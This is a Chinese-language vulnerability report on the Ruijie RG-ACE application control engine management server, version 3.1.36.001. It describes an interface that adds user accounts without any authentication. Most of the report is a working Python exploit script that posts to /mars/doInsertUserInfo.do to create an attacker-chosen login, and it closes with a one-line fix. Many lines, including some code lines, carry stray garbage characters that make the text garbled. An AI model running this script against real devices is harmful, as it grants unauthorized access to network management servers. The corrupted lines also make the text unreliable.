锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）


测试的具体版本是
产品名称: 锐捷应用控制引擎
9 a  w( `$ }  N( h3 a版本号: 3.1.36.001 TC
编译时间: 201104291730


2 j7 h+ @( x5 F; S6 k1 w" y漏洞证明：
" x+ _1 [. E3 M
' I  Z# p- U2 s' q




4 Y7 G0 U' t) P2 a  @: H$ G执行脚本
#! /usr/bin/env python
#coding=gbk
#RG-ACE管理服务器 V3.1.36.001
/ u0 n: Q2 K! rimport urllib2, urllib,cookielib
# B8 ~" b) Z/ Y' d/ i; eurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
, j3 d/ {5 S6 c  J0 s+ s("useractionname","addButtonValue"),
1 P  b# H* k0 Q6 o  s& V( q("useropermanager","userManager"),
* }- N! p& A) I6 z( W* F. @("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
1 H1 n: T' s# s6 \) w, l("trueName","ad"),
$ E5 x6 S- |% y) n("email",""),
("mobilePhone",""),
("officePhone",""),
$ h' w" }0 s5 q: ~/ R("addr",""),
("submit","确定"))
  [5 i# t! W9 L1 turllib2.install_opener(opener)
# H, V) ^5 V7 j0 I# Cp=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"
0 k+ N, Q, G: I  m; C8 M* A
登录，连接设备



! q4 d9 }+ A! }- u
4 G- D; Q$ p& r- N
默认的管理员admin权限更大点

. n7 \+ r: |& P5 ?
& |. n; {+ H9 S' P+ D1 ?% D

& K4 w) E5 g9 b% S4 o
修复方案：
$ l+ D  E0 m- t' i加强对接口的权限验证